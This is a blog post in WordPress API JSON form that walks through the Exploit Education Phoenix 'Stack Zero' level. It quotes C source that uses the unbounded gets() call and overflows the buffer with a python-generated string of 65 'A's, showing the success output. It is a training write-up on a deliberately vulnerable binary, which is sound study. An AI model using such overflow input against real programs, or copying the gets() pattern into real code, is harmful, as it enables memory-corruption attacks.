{"id":427,"date":"2019-07-09T11:25:51","date_gmt":"2019-07-09T15:25:51","guid":{"rendered":"https:\/\/blog.lamarranet.com\/?p=427"},"modified":"2019-08-16T13:20:19","modified_gmt":"2019-08-16T17:20:19","slug":"exploit-education-phoenix-stack-zero-solution","status":"publish","type":"post","link":"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-phoenix-stack-zero-solution\/","title":{"rendered":"Exploit Education | Phoenix | Stack Zero Solution"},"content":{"rendered":"<h1>Stack Zero<\/h1>\n<p>The description and source code can be found here:<br \/>\n<a href=\"https:\/\/exploit.education\/phoenix\/stack-zero\/\">https:\/\/exploit.education\/phoenix\/stack-zero\/<\/a><\/p>\n<p>All binaries for the levels can be found in the <span style=\"font-family: Courier New; font-weight: bold;\">\/opt\/phoenix\/amd64\/<\/span> directory. Looking at the source code on the site, it looks like we need to change the &#8220;<strong>changeme<\/strong>&#8221; variable. The &#8220;<strong>locals<\/strong>&#8221; struct is defined at the beginning of main():<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">struct {\r\n  char buffer&#x5B;64];\r\n  volatile int changeme;\r\n} locals;<\/pre>\n<p>Because of how local variables are stored on the stack, the &#8220;<strong>changeme<\/strong>&#8221; variable can potentially be overwritten if too many bytes are stored in the &#8220;<strong>buffer<\/strong>&#8221; variable. We can see that &#8220;<strong>changeme<\/strong>&#8221; is initialized to 0 and the <span style=\"font-family: Courier New; font-weight: bold;\">gets()<\/span> function is used to prompt the user to fill in the &#8220;<strong>buffer<\/strong>&#8221; variable:<\/p>\n<pre class=\"brush: cpp; title: ; notranslate\" title=\"\">locals.changeme = 0;\r\ngets(locals.buffer);<\/pre>\n<p>Since <span style=\"font-family: Courier New; font-weight: bold;\">gets()<\/span> does not have any bounds checking, it should be possible to create a &#8220;buffer overflow&#8221; condition here. Let&#8217;s insert 65 A&#8217;s. First, I&#8217;ll use Python to generate the string. Then, I&#8217;ll copy-paste that into the program&#8217;s prompt for input:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">user@phoenix-amd64:\/opt\/phoenix\/amd64$ python -c 'print &quot;A&quot;*65'\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\n\r\nuser@phoenix-amd64:\/opt\/phoenix\/amd64$ .\/stack-zero\r\nWelcome to phoenix\/stack-zero, brought to you by https:\/\/exploit.education\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\r\nWell done, the 'changeme' variable has been changed!<\/pre>\n<p>Optionally, we could do this in one command:<\/p>\n<pre class=\"brush: plain; title: ; notranslate\" title=\"\">user@phoenix-amd64:\/opt\/phoenix\/amd64$ python -c 'print &quot;A&quot;*65' | .\/stack-zero\r\nWelcome to phoenix\/stack-zero, brought to you by https:\/\/exploit.education\r\nWell done, the 'changeme' variable has been changed!<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>This level introduces the concept that memory can be accessed outside of its allocated region, how the stack variables are laid out, and that modifying outside of the allocated memory can modify program execution &hellip; <a href=\"https:\/\/blog.lamarranet.com\/index.php\/exploit-education-phoenix-stack-zero-solution\/\" class=\"more-link\"><span class=\"readmore\">Continue reading<span class=\"screen-reader-text\">Exploit Education | Phoenix | Stack Zero Solution<\/span><\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":["post-427","post","type-post","status-publish","format-standard","hentry","category-solutions"],"_links":{"self":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/427","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/comments?post=427"}],"version-history":[{"count":4,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/427\/revisions"}],"predecessor-version":[{"id":689,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/posts\/427\/revisions\/689"}],"wp:attachment":[{"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/media?parent=427"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/categories?post=427"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.lamarranet.com\/index.php\/wp-json\/wp\/v2\/tags?post=427"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}